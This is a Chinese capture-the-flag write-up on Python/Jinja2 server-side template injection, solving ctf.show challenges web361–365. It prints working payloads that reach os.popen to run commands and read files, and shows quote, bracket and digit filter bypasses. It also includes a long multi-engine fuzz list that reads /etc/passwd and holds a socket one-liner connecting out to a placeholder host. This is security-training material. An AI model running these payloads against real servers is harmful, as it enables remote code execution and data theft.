SSTI是什么 SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎
模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。 通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
常见的模板引擎
1 2 3 PHP: Smarty, Twig, Blade JAVA: JSP, FreeMarker, Velocity Python: Jinja2, django, tornado
由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.
在 SSTI 漏洞点中, 里面的内容会被执行。
此篇文章仅探究python中ssti
题目地址 https://ctf.show/challenges
个人理解ssti题目就是获取一些危险子类,在危险子类中寻找可以利用的函数来命令执行或文件读取等
前置知识 在学习SSTI注入之前,我们首先需要了解一些python的魔术方法和内置类
__class__
用于返回该对象所属的类 示例:
1 2 3 4 >>> 'abcd'.__class__ <class 'str'> >>> ().__class__ <class 'tuple'>
__base__
用于获取类的基类(也称父类) 示例:
1 2 3 4 5 >>> "".__class__ <class 'str'> >>> "".__class__.__base__ <class 'object'> //object为str的基类
__mro__
返回解析方法调用的顺序。(当调用_mro_[1]或者-1时作用其实等同于_base_) 示例:
1 2 3 4 5 6 >>> "".__class__.__mro__ (<class 'str'>, <class 'object'>) >>> "".__class__.__mro__[1] <class 'object'> >>> "".__class__.__mro__[-1] <class 'object'>
__subclasses__()
可以获取类的所有子类 示例
1 2 >>> "".__class__.__mro__[-1].__subclasses__() [<class 'type'>,<class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>...]
web361 题目传参为name 也就是/?name=1
http://7650d43c-2ae1-4428-aa41-80f2cd571827.challenge.ctf.show/?name=1
回显为1,测试是否存在ssti漏洞,
payload:http://7650d43c-2ae1-4428-aa41-80f2cd571827.challenge.ctf.show/?name={{7*7}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 正常没有漏洞将回显传入的值,然而`Flask`中使用了`Jinja2` 作为模板渲染引擎,{{}}在`Jinja2`中作为变量包裹标识符,`Jinja2`在渲染的时候会把{{}}包裹的内容进行解析。`{{7*7}}`会被解析成49。 第一步使用 class获取当前类使用`__class__` name={{"".__class__}} 返回 <class 'str'> name={{1.__class__\}\} 返回 <class 'int'> name={{a.__class__}} 返回 <class 'jinja2.runtime.Undefined'> {{().__class__}} 返回 第二步使用 获取当前类的基类,这里可以用`__base__`,也可以用`__mro__` {{"".__class__.__mro__}} 返回 (<class 'str'>, <class 'object'>) 取object name={{"".__class__.__bases__[0]}} 或 name={{"".__class__.__mro__[1]}} 或 name={{"".__class__.__mro__[-1]}} 第三步获取基类的子类,这里可以用`__subclasses__()` name={{"".__class__.__mro__[-1].__subclasses__()}} 返回 [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>,........
第四步,获取可以使用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 脚本1 本地查找 import redata = r''' [<class 'type'>, <class 'weakref'>, ......] ''' userful_class = ['linecache' , 'os._wrap_close' , 'subprocess.Popen' , 'warnings.catch_warnings' , '_frozen_importlib._ModuleLock' , '_frozen_importlib._DummyModuleLock' , '_frozen_importlib._ModuleLockManager' , '_frozen_importlib.ModuleSpec' ] pattern = re.compile (r"'(.*?)'" ) class_list = re.findall(pattern, data) for c in class_list: for i in userful_class: if i in c: print (str (class_list.index(c)) + ": " + c) // 脚本2 在线查找 import requestsheaders = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36' } for i in range (500 ): url = "http://127.0.0.1:5000/?name=\ {{().__class__.__bases__[0].__subclasses__()[" +str (i)+"]}}" res = requests.get(url=url, headers=headers) if 'os._wrap_close' in res.text: print (i)
可以看到os可以使用,在132位
{{"".__class__.__mro__[-1].__subclasses__()[132]}}
第五步,继续构造,接下来就可以利用os。_wrap_close
,这个类中有popen
方法,我们去调用它
先调用它的__init__方法进行初始化类
1 2 3 4 5 6 7 8 name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__}} 返回 //<function _wrap_close.__init__ at 0x7f37bfb745e0> 然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等 name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__}}
1 2 name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('dir').read()}} name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('id').read()}}
即可命令执行了
1 http://5dc9087f-a33a-43fd-89f6-729c41675180.challenge.ctf.show/?name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web362 开始过滤 不清楚过滤了什么,fuzz一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 {{4*4}}[[5*5]] {{7*7}} {{7*'7'}} <%= 7 * 7 %> ${3*3} ${{7*7}} @(1+2) #{3*3} #{ 7 * 7 } {{dump(app)}} {{app.request.server.all|join(',')}} {{config.items()}} {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %} {{'a'.toUpperCase()}} {{ request }} {{self}} <%= File.open('/etc/passwd').read %> <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} {{app.request.query.filter(0,0,1024,{'options':'system'})}} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {$smarty.version} {php}echo `id`;{/php} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")} ${self.module.runtime.util.os.system("id")} ${self.template.module.cache.util.os.system("id")} ${self.module.cache.compat.inspect.os.system("id")} ${self.__init__.__globals__['util'].os.system('id')} ${self.template.module.runtime.util.os.system("id")} ${self.module.filters.compat.inspect.os.system("id")} ${self.module.runtime.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.util.os.system("id")} ${self.template.__init__.__globals__['os'].system('id')} ${self.module.cache.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.util.os.system("id")} ${self.template.module.cache.compat.inspect.os.system("id")} ${self.module.cache.compat.inspect.linecache.os.system("id")} ${self.template._mmarker.module.runtime.util.os.system("id")} ${self.attr._NSAttr__parent.module.cache.util.os.system("id")} ${self.template.module.filters.compat.inspect.os.system("id")} ${self.template.module.runtime.compat.inspect.os.system("id")} ${self.module.filters.compat.inspect.linecache.os.system("id")} ${self.module.runtime.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.exceptions.util.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} ${self.context._with_template.module.cache.util.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.template.module.cache.util.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.util.os.system("id")} ${self.module.cache.util.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.linecache.os.system("id")} ${self.module.runtime.exceptions.traceback.linecache.os.system("id")} ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.compat.inspect.os.system("id")} ${self.template.module.cache.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} ${self.template._mmarker.module.filters.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} ${self.template.module.filters.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} ${self.context._with_template._mmarker.module.cache.util.os.system("id")} ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.cache.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} ${self.context._with_template._mmarker.module.runtime.util.os.system("id")} ${self.context._with_template.module.filters.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.exceptions.util.os.system("id")} ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")} {{self._TemplateReference__context.cycler.__init__.__globals__.os}} {{self._TemplateReference__context.joiner.__init__.__globals__.os}} {{self._TemplateReference__context.namespace.__init__.__globals__.os}} {{cycler.__init__.__globals__.os}} {{joiner.__init__.__globals__.os}} {{namespace.__init__.__globals__.os}} " "" . _ __ [ ] { } ' '' class base bases subclasses ( ) () a b c d 0 1 2 3 4 5 6 7 8 9
似乎过滤了2和3
绕过数字,随便用一个字母就行
1 2 3 4 5 ?name={{c.__init__}} ?name={{bohemian.__init__.__globals__}} ?name={{bohemian.__init__.__globals__['__builtins__' ]}} 有eval 了 ?name={{bohemian.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('cat /flag').read()" ) }}
web363 fuzz一下,过滤了单双引号,可以使用圆括号及args get 或post 或 cookie参数
1 2 3 4 5 6 7 8 9 10 11 12 13 request.args.b request.values.b request.cookies.b 源 http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}} //将带引号的popen和ls换掉即可 payload http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag payload2 http://76d85bcd-ec44-4686-965c-bddb2b8af3fd.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag
web364 好像和363一样过滤了单双引号
1 http://be1c7d5b-82ba-4405-a533-0fc2b28c9dff.challenge.ctf.show/?name={{bohemian.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag
365 过滤了[]
1 http://82ab42e3-eae4-4c5b-80f5-83fae500e217.challenge.ctf.show/?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=id